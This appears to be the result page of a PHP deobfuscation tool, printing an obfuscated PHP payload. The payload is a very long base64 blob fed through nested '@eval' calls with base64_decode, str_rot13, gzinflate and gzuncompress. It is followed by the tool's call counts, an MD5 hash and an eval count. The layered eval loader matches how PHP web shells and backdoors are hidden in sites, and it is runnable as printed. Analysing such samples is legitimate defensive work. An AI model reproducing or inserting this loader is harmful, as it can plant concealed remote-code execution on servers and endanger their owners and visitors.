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"; @eval(base64_decode(base64_decode("WlhaaGJDaHpkSEpmY205ME1UTW9aM3BwYm1ac1lYUmxLR2Q2YVc1bWJHRjBaU2huZW5WdVkyOXRjSEpsYzNNb1ltRnpaVFkwWDJSbFkyOWtaU2drVlV4VVVrRXBLU2twS1NrNw==")));
Function Calls
gzinflate | 2 |
str_rot13 | 1 |
gzuncompress | 1 |
base64_decode | 3 |
Stats
MD5 | a0a08693ed296431fd4a3c6a167352ed |
Eval Count | 2 |
Decode Time | 92 ms |